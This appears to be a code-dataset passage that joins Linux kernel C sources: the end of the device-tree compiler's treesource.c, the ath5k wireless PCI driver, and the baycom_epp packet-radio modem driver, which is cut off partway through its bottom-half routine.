fprintf(f, "\n"); write_tree_source_node(f, child, level+1); } write_prefix(f, level); fprintf(f, "};\n"); } void dt_to_source(FILE *f, struct boot_info *bi) { struct reserve_info *re; fprintf(f, "/dts-v1/;\n\n"); for (re = bi->reservelist; re; re = re->next) { struct label *l; for_each_label(re->labels, l) fprintf(f, "%s: ", l->label); fprintf(f, "/memreserve/\t0x%016llx 0x%016llx;\n", (unsigned long long)re->re.address, (unsigned long long)re->re.size); } write_tree_source_node(f, bi->dt, 0); }
Fusion-Devices/android_kernel_motorola_msm8916
scripts/dtc/treesource.c
C
gpl-2.0
6,105
/* * Copyright (c) 2008-2009 Atheros Communications Inc. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <linux/nl80211.h> #include <linux/pci.h> #include <linux/pci-aspm.h> #include <linux/etherdevice.h> #include <linux/module.h> #include "../ath.h" #include "ath5k.h" #include "debug.h" #include "base.h" #include "reg.h" /* Known PCI ids */ static DEFINE_PCI_DEVICE_TABLE(ath5k_pci_id_table) = { { PCI_VDEVICE(ATHEROS, 0x0207) }, /* 5210 early */ { PCI_VDEVICE(ATHEROS, 0x0007) }, /* 5210 */ { PCI_VDEVICE(ATHEROS, 0x0011) }, /* 5311 - this is on AHB bus !*/ { PCI_VDEVICE(ATHEROS, 0x0012) }, /* 5211 */ { PCI_VDEVICE(ATHEROS, 0x0013) }, /* 5212 */ { PCI_VDEVICE(3COM_2, 0x0013) }, /* 3com 5212 */ { PCI_VDEVICE(3COM, 0x0013) }, /* 3com 3CRDAG675 5212 */ { PCI_VDEVICE(ATHEROS, 0x1014) }, /* IBM minipci 5212 */ { PCI_VDEVICE(ATHEROS, 0x0014) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x0015) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x0016) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x0017) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x0018) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x0019) }, /* 5212 compatible */ { PCI_VDEVICE(ATHEROS, 0x001a) }, /* 2413 Griffin-lite */ { PCI_VDEVICE(ATHEROS, 0x001b) }, /* 5413 Eagle */ { PCI_VDEVICE(ATHEROS, 0x001c) }, /* PCI-E cards */ { PCI_VDEVICE(ATHEROS, 0x001d) }, /* 2417 Nala */ { 0 } }; MODULE_DEVICE_TABLE(pci, ath5k_pci_id_table); /* return bus cachesize in 4B word units */ static void ath5k_pci_read_cachesize(struct ath_common *common, int *csz) { struct ath5k_hw *ah = (struct ath5k_hw *) common->priv; u8 u8tmp; pci_read_config_byte(ah->pdev, PCI_CACHE_LINE_SIZE, &u8tmp); *csz = (int)u8tmp; /* * This check was put in to avoid "unpleasant" consequences if * the bootrom has not fully initialized all PCI devices. * Sometimes the cache line size register is not set */ if (*csz == 0) *csz = L1_CACHE_BYTES >> 2; /* Use the default size */ } /* * Read from eeprom */ static bool ath5k_pci_eeprom_read(struct ath_common *common, u32 offset, u16 *data) { struct ath5k_hw *ah = (struct ath5k_hw *) common->ah; u32 status, timeout; /* * Initialize EEPROM access */ if (ah->ah_version == AR5K_AR5210) { AR5K_REG_ENABLE_BITS(ah, AR5K_PCICFG, AR5K_PCICFG_EEAE); (void)ath5k_hw_reg_read(ah, AR5K_EEPROM_BASE + (4 * offset)); } else { ath5k_hw_reg_write(ah, offset, AR5K_EEPROM_BASE); AR5K_REG_ENABLE_BITS(ah, AR5K_EEPROM_CMD, AR5K_EEPROM_CMD_READ); } for (timeout = AR5K_TUNE_REGISTER_TIMEOUT; timeout > 0; timeout--) { status = ath5k_hw_reg_read(ah, AR5K_EEPROM_STATUS); if (status & AR5K_EEPROM_STAT_RDDONE) { if (status & AR5K_EEPROM_STAT_RDERR) return false; *data = (u16)(ath5k_hw_reg_read(ah, AR5K_EEPROM_DATA) & 0xffff); return true; } usleep_range(15, 20); } return false; } int ath5k_hw_read_srev(struct ath5k_hw *ah) { ah->ah_mac_srev = ath5k_hw_reg_read(ah, AR5K_SREV); return 0; } /* * Read the MAC address from eeprom or platform_data */ static int ath5k_pci_eeprom_read_mac(struct ath5k_hw *ah, u8 *mac) { u8 mac_d[ETH_ALEN] = {}; u32 total, offset; u16 data; int octet; AR5K_EEPROM_READ(0x20, data); for (offset = 0x1f, octet = 0, total = 0; offset >= 0x1d; offset--) { AR5K_EEPROM_READ(offset, data); total += data; mac_d[octet + 1] = data & 0xff; mac_d[octet] = data >> 8; octet += 2; } if (!total || total == 3 * 0xffff) return -EINVAL; memcpy(mac, mac_d, ETH_ALEN); return 0; } /* Common ath_bus_opts structure */ static const struct ath_bus_ops ath_pci_bus_ops = { .ath_bus_type = ATH_PCI, .read_cachesize = ath5k_pci_read_cachesize, .eeprom_read = ath5k_pci_eeprom_read, .eeprom_read_mac = ath5k_pci_eeprom_read_mac, }; /********************\ * PCI Initialization * \********************/ static int __devinit ath5k_pci_probe(struct pci_dev *pdev, const struct pci_device_id *id) { void __iomem *mem; struct ath5k_hw *ah; struct ieee80211_hw *hw; int ret; u8 csz; /* * L0s needs to be disabled on all ath5k cards. * * For distributions shipping with CONFIG_PCIEASPM (this will be enabled * by default in the future in 2.6.36) this will also mean both L1 and * L0s will be disabled when a pre 1.1 PCIe device is detected. We do * know L1 works correctly even for all ath5k pre 1.1 PCIe devices * though but cannot currently undue the effect of a blacklist, for * details you can read pcie_aspm_sanity_check() and see how it adjusts * the device link capability. * * It may be possible in the future to implement some PCI API to allow * drivers to override blacklists for pre 1.1 PCIe but for now it is * best to accept that both L0s and L1 will be disabled completely for * distributions shipping with CONFIG_PCIEASPM rather than having this * issue present. Motivation for adding this new API will be to help * with power consumption for some of these devices. */ pci_disable_link_state(pdev, PCIE_LINK_STATE_L0S); ret = pci_enable_device(pdev); if (ret) { dev_err(&pdev->dev, "can't enable device\n"); goto err; } /* XXX 32-bit addressing only */ ret = pci_set_dma_mask(pdev, DMA_BIT_MASK(32)); if (ret) { dev_err(&pdev->dev, "32-bit DMA not available\n"); goto err_dis; } /* * Cache line size is used to size and align various * structures used to communicate with the hardware. */ pci_read_config_byte(pdev, PCI_CACHE_LINE_SIZE, &csz); if (csz == 0) { /* * Linux 2.4.18 (at least) writes the cache line size * register as a 16-bit wide register which is wrong. * We must have this setup properly for rx buffer * DMA to work so force a reasonable value here if it * comes up zero. */ csz = L1_CACHE_BYTES >> 2; pci_write_config_byte(pdev, PCI_CACHE_LINE_SIZE, csz); } /* * The default setting of latency timer yields poor results, * set it to the value used by other systems. It may be worth * tweaking this setting more. */ pci_write_config_byte(pdev, PCI_LATENCY_TIMER, 0xa8); /* Enable bus mastering */ pci_set_master(pdev); /* * Disable the RETRY_TIMEOUT register (0x41) to keep * PCI Tx retries from interfering with C3 CPU state. */ pci_write_config_byte(pdev, 0x41, 0); ret = pci_request_region(pdev, 0, "ath5k"); if (ret) { dev_err(&pdev->dev, "cannot reserve PCI memory region\n"); goto err_dis; } mem = pci_iomap(pdev, 0, 0); if (!mem) { dev_err(&pdev->dev, "cannot remap PCI memory region\n"); ret = -EIO; goto err_reg; } /* * Allocate hw (mac80211 main struct) * and hw->priv (driver private data) */ hw = ieee80211_alloc_hw(sizeof(*ah), &ath5k_hw_ops); if (hw == NULL) { dev_err(&pdev->dev, "cannot allocate ieee80211_hw\n"); ret = -ENOMEM; goto err_map; } dev_info(&pdev->dev, "registered as '%s'\n", wiphy_name(hw->wiphy)); ah = hw->priv; ah->hw = hw; ah->pdev = pdev; ah->dev = &pdev->dev; ah->irq = pdev->irq; ah->devid = id->device; ah->iobase = mem; /* So we can unmap it on detach */ /* Initialize */ ret = ath5k_init_ah(ah, &ath_pci_bus_ops); if (ret) goto err_free; /* Set private data */ pci_set_drvdata(pdev, hw); return 0; err_free: ieee80211_free_hw(hw); err_map: pci_iounmap(pdev, mem); err_reg: pci_release_region(pdev, 0); err_dis: pci_disable_device(pdev); err: return ret; } static void __devexit ath5k_pci_remove(struct pci_dev *pdev) { struct ieee80211_hw *hw = pci_get_drvdata(pdev); struct ath5k_hw *ah = hw->priv; ath5k_deinit_ah(ah); pci_iounmap(pdev, ah->iobase); pci_release_region(pdev, 0); pci_disable_device(pdev); ieee80211_free_hw(hw); } #ifdef CONFIG_PM_SLEEP static int ath5k_pci_suspend(struct device *dev) { struct pci_dev *pdev = to_pci_dev(dev); struct ieee80211_hw *hw = pci_get_drvdata(pdev); struct ath5k_hw *ah = hw->priv; ath5k_led_off(ah); return 0; } static int ath5k_pci_resume(struct device *dev) { struct pci_dev *pdev = to_pci_dev(dev); struct ieee80211_hw *hw = pci_get_drvdata(pdev); struct ath5k_hw *ah = hw->priv; /* * Suspend/Resume resets the PCI configuration space, so we have to * re-disable the RETRY_TIMEOUT register (0x41) to keep * PCI Tx retries from interfering with C3 CPU state */ pci_write_config_byte(pdev, 0x41, 0); ath5k_led_enable(ah); return 0; } static SIMPLE_DEV_PM_OPS(ath5k_pm_ops, ath5k_pci_suspend, ath5k_pci_resume); #define ATH5K_PM_OPS (&ath5k_pm_ops) #else #define ATH5K_PM_OPS NULL #endif /* CONFIG_PM_SLEEP */ static struct pci_driver ath5k_pci_driver = { .name = KBUILD_MODNAME, .id_table = ath5k_pci_id_table, .probe = ath5k_pci_probe, .remove = __devexit_p(ath5k_pci_remove), .driver.pm = ATH5K_PM_OPS, }; /* * Module init/exit functions */ static int __init init_ath5k_pci(void) { int ret; ret = pci_register_driver(&ath5k_pci_driver); if (ret) { printk(KERN_ERR "ath5k_pci: can't register pci driver\n"); return ret; } return 0; } static void __exit exit_ath5k_pci(void) { pci_unregister_driver(&ath5k_pci_driver); } module_init(init_ath5k_pci); module_exit(exit_ath5k_pci);
ABIP/android_kernel_samsung_msm7x30-common
drivers/net/wireless/ath/ath5k/pci.c
C
gpl-2.0
9,766
/*****************************************************************************/ /* * baycom_epp.c -- baycom epp radio modem driver. * * Copyright (C) 1998-2000 * Thomas Sailer (sailer@ife.ee.ethz.ch) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * Please note that the GPL allows you to use the driver, NOT the radio. * In order to use the radio, you need a license from the communications * authority of your country. * * * History: * 0.1 xx.xx.1998 Initial version by Matthias Welwarsky (dg2fef) * 0.2 21.04.1998 Massive rework by Thomas Sailer * Integrated FPGA EPP modem configuration routines * 0.3 11.05.1998 Took FPGA config out and moved it into a separate program * 0.4 26.07.1999 Adapted to new lowlevel parport driver interface * 0.5 03.08.1999 adapt to Linus' new __setup/__initcall * removed some pre-2.2 kernel compatibility cruft * 0.6 10.08.1999 Check if parport can do SPP and is safe to access during interrupt contexts * 0.7 12.02.2000 adapted to softnet driver interface * */ /*****************************************************************************/ #include <linux/crc-ccitt.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/string.h> #include <linux/workqueue.h> #include <linux/fs.h> #include <linux/parport.h> #include <linux/if_arp.h> #include <linux/hdlcdrv.h> #include <linux/baycom.h> #include <linux/jiffies.h> #include <linux/random.h> #include <net/ax25.h> #include <asm/uaccess.h> /* --------------------------------------------------------------------- */ #define BAYCOM_DEBUG #define BAYCOM_MAGIC 19730510 /* --------------------------------------------------------------------- */ static const char paranoia_str[] = KERN_ERR "baycom_epp: bad magic number for hdlcdrv_state struct in routine %s\n"; static const char bc_drvname[] = "baycom_epp"; static const char bc_drvinfo[] = KERN_INFO "baycom_epp: (C) 1998-2000 Thomas Sailer, HB9JNX/AE4WA\n" "baycom_epp: version 0.7\n"; /* --------------------------------------------------------------------- */ #define NR_PORTS 4 static struct net_device *baycom_device[NR_PORTS]; /* --------------------------------------------------------------------- */ /* EPP status register */ #define EPP_DCDBIT 0x80 #define EPP_PTTBIT 0x08 #define EPP_NREF 0x01 #define EPP_NRAEF 0x02 #define EPP_NRHF 0x04 #define EPP_NTHF 0x20 #define EPP_NTAEF 0x10 #define EPP_NTEF EPP_PTTBIT /* EPP control register */ #define EPP_TX_FIFO_ENABLE 0x10 #define EPP_RX_FIFO_ENABLE 0x08 #define EPP_MODEM_ENABLE 0x20 #define EPP_LEDS 0xC0 #define EPP_IRQ_ENABLE 0x10 /* LPT registers */ #define LPTREG_ECONTROL 0x402 #define LPTREG_CONFIGB 0x401 #define LPTREG_CONFIGA 0x400 #define LPTREG_EPPDATA 0x004 #define LPTREG_EPPADDR 0x003 #define LPTREG_CONTROL 0x002 #define LPTREG_STATUS 0x001 #define LPTREG_DATA 0x000 /* LPT control register */ #define LPTCTRL_PROGRAM 0x04 /* 0 to reprogram */ #define LPTCTRL_WRITE 0x01 #define LPTCTRL_ADDRSTB 0x08 #define LPTCTRL_DATASTB 0x02 #define LPTCTRL_INTEN 0x10 /* LPT status register */ #define LPTSTAT_SHIFT_NINTR 6 #define LPTSTAT_WAIT 0x80 #define LPTSTAT_NINTR (1<<LPTSTAT_SHIFT_NINTR) #define LPTSTAT_PE 0x20 #define LPTSTAT_DONE 0x10 #define LPTSTAT_NERROR 0x08 #define LPTSTAT_EPPTIMEOUT 0x01 /* LPT data register */ #define LPTDATA_SHIFT_TDI 0 #define LPTDATA_SHIFT_TMS 2 #define LPTDATA_TDI (1<<LPTDATA_SHIFT_TDI) #define LPTDATA_TCK 0x02 #define LPTDATA_TMS (1<<LPTDATA_SHIFT_TMS) #define LPTDATA_INITBIAS 0x80 /* EPP modem config/status bits */ #define EPP_DCDBIT 0x80 #define EPP_PTTBIT 0x08 #define EPP_RXEBIT 0x01 #define EPP_RXAEBIT 0x02 #define EPP_RXHFULL 0x04 #define EPP_NTHF 0x20 #define EPP_NTAEF 0x10 #define EPP_NTEF EPP_PTTBIT #define EPP_TX_FIFO_ENABLE 0x10 #define EPP_RX_FIFO_ENABLE 0x08 #define EPP_MODEM_ENABLE 0x20 #define EPP_LEDS 0xC0 #define EPP_IRQ_ENABLE 0x10 /* Xilinx 4k JTAG instructions */ #define XC4K_IRLENGTH 3 #define XC4K_EXTEST 0 #define XC4K_PRELOAD 1 #define XC4K_CONFIGURE 5 #define XC4K_BYPASS 7 #define EPP_CONVENTIONAL 0 #define EPP_FPGA 1 #define EPP_FPGAEXTSTATUS 2 #define TXBUFFER_SIZE ((HDLCDRV_MAXFLEN*6/5)+8) /* ---------------------------------------------------------------------- */ /* * Information that need to be kept for each board. */ struct baycom_state { int magic; struct pardevice *pdev; struct net_device *dev; unsigned int work_running; struct delayed_work run_work; unsigned int modem; unsigned int bitrate; unsigned char stat; struct { unsigned int intclk; unsigned int fclk; unsigned int bps; unsigned int extmodem; unsigned int loopback; } cfg; struct hdlcdrv_channel_params ch_params; struct { unsigned int bitbuf, bitstream, numbits, state; unsigned char *bufptr; int bufcnt; unsigned char buf[TXBUFFER_SIZE]; } hdlcrx; struct { int calibrate; int slotcnt; int flags; enum { tx_idle = 0, tx_keyup, tx_data, tx_tail } state; unsigned char *bufptr; int bufcnt; unsigned char buf[TXBUFFER_SIZE]; } hdlctx; unsigned int ptt_keyed; struct sk_buff *skb; /* next transmit packet */ #ifdef BAYCOM_DEBUG struct debug_vals { unsigned long last_jiffies; unsigned cur_intcnt; unsigned last_intcnt; int cur_pllcorr; int last_pllcorr; unsigned int mod_cycles; unsigned int demod_cycles; } debug_vals; #endif /* BAYCOM_DEBUG */ }; /* --------------------------------------------------------------------- */ #define KISS_VERBOSE /* --------------------------------------------------------------------- */ #define PARAM_TXDELAY 1 #define PARAM_PERSIST 2 #define PARAM_SLOTTIME 3 #define PARAM_TXTAIL 4 #define PARAM_FULLDUP 5 #define PARAM_HARDWARE 6 #define PARAM_RETURN 255 /* --------------------------------------------------------------------- */ /* * the CRC routines are stolen from WAMPES * by Dieter Deyke */ /*---------------------------------------------------------------------------*/ #if 0 static inline void append_crc_ccitt(unsigned char *buffer, int len) { unsigned int crc = 0xffff; for (;len>0;len--) crc = (crc >> 8) ^ crc_ccitt_table[(crc ^ *buffer++) & 0xff]; crc ^= 0xffff; *buffer++ = crc; *buffer++ = crc >> 8; } #endif /*---------------------------------------------------------------------------*/ static inline int check_crc_ccitt(const unsigned char *buf, int cnt) { return (crc_ccitt(0xffff, buf, cnt) & 0xffff) == 0xf0b8; } /*---------------------------------------------------------------------------*/ static inline int calc_crc_ccitt(const unsigned char *buf, int cnt) { return (crc_ccitt(0xffff, buf, cnt) ^ 0xffff) & 0xffff; } /* ---------------------------------------------------------------------- */ #define tenms_to_flags(bc,tenms) ((tenms * bc->bitrate) / 800) /* --------------------------------------------------------------------- */ static inline void baycom_int_freq(struct baycom_state *bc) { #ifdef BAYCOM_DEBUG unsigned long cur_jiffies = jiffies; /* * measure the interrupt frequency */ bc->debug_vals.cur_intcnt++; if (time_after_eq(cur_jiffies, bc->debug_vals.last_jiffies + HZ)) { bc->debug_vals.last_jiffies = cur_jiffies; bc->debug_vals.last_intcnt = bc->debug_vals.cur_intcnt; bc->debug_vals.cur_intcnt = 0; bc->debug_vals.last_pllcorr = bc->debug_vals.cur_pllcorr; bc->debug_vals.cur_pllcorr = 0; } #endif /* BAYCOM_DEBUG */ } /* ---------------------------------------------------------------------- */ /* * eppconfig_path should be setable via /proc/sys. */ static char eppconfig_path[256] = "/usr/sbin/eppfpga"; static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/usr/bin:/bin", NULL }; /* eppconfig: called during ifconfig up to configure the modem */ static int eppconfig(struct baycom_state *bc) { char modearg[256]; char portarg[16]; char *argv[] = { eppconfig_path, "-s", "-p", portarg, "-m", modearg, NULL }; /* set up arguments */ sprintf(modearg, "%sclk,%smodem,fclk=%d,bps=%d,divider=%d%s,extstat", bc->cfg.intclk ? "int" : "ext", bc->cfg.extmodem ? "ext" : "int", bc->cfg.fclk, bc->cfg.bps, (bc->cfg.fclk + 8 * bc->cfg.bps) / (16 * bc->cfg.bps), bc->cfg.loopback ? ",loopback" : ""); sprintf(portarg, "%ld", bc->pdev->port->base); printk(KERN_DEBUG "%s: %s -s -p %s -m %s\n", bc_drvname, eppconfig_path, portarg, modearg); return call_usermodehelper(eppconfig_path, argv, envp, UMH_WAIT_PROC); } /* ---------------------------------------------------------------------- */ static inline void do_kiss_params(struct baycom_state *bc, unsigned char *data, unsigned long len) { #ifdef KISS_VERBOSE #define PKP(a,b) printk(KERN_INFO "baycomm_epp: channel params: " a "\n", b) #else /* KISS_VERBOSE */ #define PKP(a,b) #endif /* KISS_VERBOSE */ if (len < 2) return; switch(data[0]) { case PARAM_TXDELAY: bc->ch_params.tx_delay = data[1]; PKP("TX delay = %ums", 10 * bc->ch_params.tx_delay); break; case PARAM_PERSIST: bc->ch_params.ppersist = data[1]; PKP("p persistence = %u", bc->ch_params.ppersist); break; case PARAM_SLOTTIME: bc->ch_params.slottime = data[1]; PKP("slot time = %ums", bc->ch_params.slottime); break; case PARAM_TXTAIL: bc->ch_params.tx_tail = data[1]; PKP("TX tail = %ums", bc->ch_params.tx_tail); break; case PARAM_FULLDUP: bc->ch_params.fulldup = !!data[1]; PKP("%s duplex", bc->ch_params.fulldup ? "full" : "half"); break; default: break; } #undef PKP } /* --------------------------------------------------------------------- */ static void encode_hdlc(struct baycom_state *bc) { struct sk_buff *skb; unsigned char *wp, *bp; int pkt_len; unsigned bitstream, notbitstream, bitbuf, numbit, crc; unsigned char crcarr[2]; int j; if (bc->hdlctx.bufcnt > 0) return; skb = bc->skb; if (!skb) return; bc->skb = NULL; pkt_len = skb->len-1; /* strip KISS byte */ wp = bc->hdlctx.buf; bp = skb->data+1; crc = calc_crc_ccitt(bp, pkt_len); crcarr[0] = crc; crcarr[1] = crc >> 8; *wp++ = 0x7e; bitstream = bitbuf = numbit = 0; while (pkt_len > -2) { bitstream >>= 8; bitstream |= ((unsigned int)*bp) << 8; bitbuf |= ((unsigned int)*bp) << numbit; notbitstream = ~bitstream; bp++; pkt_len--; if (!pkt_len) bp = crcarr; for (j = 0; j < 8; j++) if (unlikely(!(notbitstream & (0x1f0 << j)))) { bitstream &= ~(0x100 << j); bitbuf = (bitbuf & (((2 << j) << numbit) - 1)) | ((bitbuf & ~(((2 << j) << numbit) - 1)) << 1); numbit++; notbitstream = ~bitstream; } numbit += 8; while (numbit >= 8) { *wp++ = bitbuf; bitbuf >>= 8; numbit -= 8; } } bitbuf |= 0x7e7e << numbit; numbit += 16; while (numbit >= 8) { *wp++ = bitbuf; bitbuf >>= 8; numbit -= 8; } bc->hdlctx.bufptr = bc->hdlctx.buf; bc->hdlctx.bufcnt = wp - bc->hdlctx.buf; dev_kfree_skb(skb); bc->dev->stats.tx_packets++; } /* ---------------------------------------------------------------------- */ static int transmit(struct baycom_state *bc, int cnt, unsigned char stat) { struct parport *pp = bc->pdev->port; unsigned char tmp[128]; int i, j; if (bc->hdlctx.state == tx_tail && !(stat & EPP_PTTBIT)) bc->hdlctx.state = tx_idle; if (bc->hdlctx.state == tx_idle && bc->hdlctx.calibrate <= 0) { if (bc->hdlctx.bufcnt <= 0) encode_hdlc(bc); if (bc->hdlctx.bufcnt <= 0) return 0; if (!bc->ch_params.fulldup) { if (!(stat & EPP_DCDBIT)) { bc->hdlctx.slotcnt = bc->ch_params.slottime; return 0; } if ((--bc->hdlctx.slotcnt) > 0) return 0; bc->hdlctx.slotcnt = bc->ch_params.slottime; if ((random32() % 256) > bc->ch_params.ppersist) return 0; } } if (bc->hdlctx.state == tx_idle && bc->hdlctx.bufcnt > 0) { bc->hdlctx.state = tx_keyup; bc->hdlctx.flags = tenms_to_flags(bc, bc->ch_params.tx_delay); bc->ptt_keyed++; } while (cnt > 0) { switch (bc->hdlctx.state) { case tx_keyup: i = min_t(int, cnt, bc->hdlctx.flags); cnt -= i; bc->hdlctx.flags -= i; if (bc->hdlctx.flags <= 0) bc->hdlctx.state = tx_data; memset(tmp, 0x7e, sizeof(tmp)); while (i > 0) { j = (i > sizeof(tmp)) ? sizeof(tmp) : i; if (j != pp->ops->epp_write_data(pp, tmp, j, 0)) return -1; i -= j; } break; case tx_data: if (bc->hdlctx.bufcnt <= 0) { encode_hdlc(bc); if (bc->hdlctx.bufcnt <= 0) { bc->hdlctx.state = tx_tail; bc->hdlctx.flags = tenms_to_flags(bc, bc->ch_params.tx_tail); break; } } i = min_t(int, cnt, bc->hdlctx.bufcnt); bc->hdlctx.bufcnt -= i; cnt -= i; if (i != pp->ops->epp_write_data(pp, bc->hdlctx.bufptr, i, 0)) return -1; bc->hdlctx.bufptr += i; break; case tx_tail: encode_hdlc(bc); if (bc->hdlctx.bufcnt > 0) { bc->hdlctx.state = tx_data; break; } i = min_t(int, cnt, bc->hdlctx.flags); if (i) { cnt -= i; bc->hdlctx.flags -= i; memset(tmp, 0x7e, sizeof(tmp)); while (i > 0) { j = (i > sizeof(tmp)) ? sizeof(tmp) : i; if (j != pp->ops->epp_write_data(pp, tmp, j, 0)) return -1; i -= j; } break; } default: /* fall through */ if (bc->hdlctx.calibrate <= 0) return 0; i = min_t(int, cnt, bc->hdlctx.calibrate); cnt -= i; bc->hdlctx.calibrate -= i; memset(tmp, 0, sizeof(tmp)); while (i > 0) { j = (i > sizeof(tmp)) ? sizeof(tmp) : i; if (j != pp->ops->epp_write_data(pp, tmp, j, 0)) return -1; i -= j; } break; } } return 0; } /* ---------------------------------------------------------------------- */ static void do_rxpacket(struct net_device *dev) { struct baycom_state *bc = netdev_priv(dev); struct sk_buff *skb; unsigned char *cp; unsigned pktlen; if (bc->hdlcrx.bufcnt < 4) return; if (!check_crc_ccitt(bc->hdlcrx.buf, bc->hdlcrx.bufcnt)) return; pktlen = bc->hdlcrx.bufcnt-2+1; /* KISS kludge */ if (!(skb = dev_alloc_skb(pktlen))) { printk("%s: memory squeeze, dropping packet\n", dev->name); dev->stats.rx_dropped++; return; } cp = skb_put(skb, pktlen); *cp++ = 0; /* KISS kludge */ memcpy(cp, bc->hdlcrx.buf, pktlen - 1); skb->protocol = ax25_type_trans(skb, dev); netif_rx(skb); dev->stats.rx_packets++; } static int receive(struct net_device *dev, int cnt) { struct baycom_state *bc = netdev_priv(dev); struct parport *pp = bc->pdev->port; unsigned int bitbuf, notbitstream, bitstream, numbits, state; unsigned char tmp[128]; unsigned char *cp; int cnt2, ret = 0; int j; numbits = bc->hdlcrx.numbits; state = bc->hdlcrx.state; bitstream = bc->hdlcrx.bitstream; bitbuf = bc->hdlcrx.bitbuf; while (cnt > 0) { cnt2 = (cnt > sizeof(tmp)) ? sizeof(tmp) : cnt; cnt -= cnt2; if (cnt2 != pp->ops->epp_read_data(pp, tmp, cnt2, 0)) { ret = -1; break; } cp = tmp; for (; cnt2 > 0; cnt2--, cp++) { bitstream >>= 8; bitstream |= (*cp) << 8; bitbuf >>= 8; bitbuf |= (*cp) << 8; numbits += 8; notbitstream = ~bitstream; for (j = 0; j < 8; j++) { /* flag or abort */ if (unlikely(!(notbitstream & (0x0fc << j)))) { /* abort received */ if (!(notbitstream & (0x1fc << j))) state = 0; /* flag received */ else if ((bitstream & (0x1fe << j)) == (0x0fc << j)) { if (state) do_rxpacket(dev); bc->hdlcrx.bufcnt = 0; bc->hdlcrx.bufptr = bc->hdlcrx.buf; state = 1; numbits = 7-j; } } /* stuffed bit */ else if (unlikely((bitstream & (0x1f8 << j)) == (0xf8 << j))) { numbits--; bitbuf = (bitbuf & ((~0xff) << j)) | ((bitbuf & ~((~0xff) << j)) << 1); } } while (state && numbits >= 8) { if (bc->hdlcrx.bufcnt >= TXBUFFER_SIZE) { state = 0; } else { *(bc->hdlcrx.bufptr)++ = bitbuf >> (16-numbits); bc->hdlcrx.bufcnt++; numbits -= 8; } } } } bc->hdlcrx.numbits = numbits; bc->hdlcrx.state = state; bc->hdlcrx.bitstream = bitstream; bc->hdlcrx.bitbuf = bitbuf; return ret; } /* --------------------------------------------------------------------- */ #ifdef __i386__ #include <asm/msr.h> #define GETTICK(x) \ ({ \ if (cpu_has_tsc) \ rdtscl(x); \ }) #else /* __i386__ */ #define GETTICK(x) #endif /* __i386__ */ static void epp_bh(struct work_struct *work) { struct net_device *dev; struct baycom_state *bc; struct parport *pp; unsigned char stat; unsigned char tmp[2]; unsigned int time1 = 0, time2 = 0, time3 = 0; int cnt, cnt2; bc = container_of(work, struct baycom_state, run_work.work); dev = bc->dev; if (!bc->work_running) return; baycom_int_freq(bc); pp = bc->pdev->port; /* update status */ if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto epptimeout; bc->stat = stat; bc->debug_vals.last_pllcorr = stat; GETTICK(time1); if (bc->modem == EPP_FPGAEXTSTATUS) { /* get input count */ tmp[0] = EPP_TX_FIFO_ENABLE|EPP_RX_FIFO_ENABLE|EPP_MODEM_ENABLE|1; if (pp->ops->epp_write_addr(pp, tmp, 1, 0) != 1) goto epptimeout; if (pp->ops->epp_read_addr(pp, tmp, 2, 0) != 2) goto epptimeout; cnt = tmp[0] | (tmp[1] << 8); cnt &= 0x7fff; /* get output count */ tmp[0] = EPP_TX_FIFO_ENABLE|EPP_RX_FIFO_ENABLE|EPP_MODEM_ENABLE|2; if (pp->ops->epp_write_addr(pp, tmp, 1, 0) != 1) goto epptimeout; if (pp->ops->epp_read_addr(pp, tmp, 2, 0) != 2) goto epptimeout; cnt2 = tmp[0] | (tmp[1] << 8); cnt2 = 16384 - (cnt2 & 0x7fff); /* return to normal */ tmp[0] = EPP_TX_FIFO_ENABLE|EPP_RX_FIFO_ENABLE|EPP_MODEM_ENABLE; if (pp->ops->epp_write_addr(pp, tmp, 1, 0) != 1) goto epptimeout; if (transmit(bc, cnt2, stat)) goto epptimeout; GETTICK(time2); if (receive(dev, cnt)) goto epptimeout; if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto epptimeout; bc->stat = stat; } else { /* try to tx */ switch (stat & (EPP_NTAEF|EPP_NTHF)) { case EPP_NTHF: cnt = 2048 - 256; break; case EPP_NTAEF: cnt = 2048 - 1793; break; case 0: cnt = 0; break; default: cnt = 2048 - 1025; break; } if (transmit(bc, cnt, stat)) goto epptimeout; GETTICK(time2); /* do receiver */ while ((stat & (EPP_NRAEF|EPP_NRHF)) != EPP_NRHF) { switch (stat & (EPP_NRAEF|EPP_NRHF)) { case EPP_NRAEF: cnt = 1025; break; case 0: cnt = 1793; break; default: cnt = 256; break; } if (receive(dev, cnt)) goto epptimeout; if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto epptimeout; } cnt = 0; if (bc->bitrate < 50000) cnt = 256; else if (bc->bitrate < 100000) cnt = 128; while (cnt > 0 && stat & EPP_NREF) { if (receive(dev, 1)) goto epptimeout; cnt--; if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto 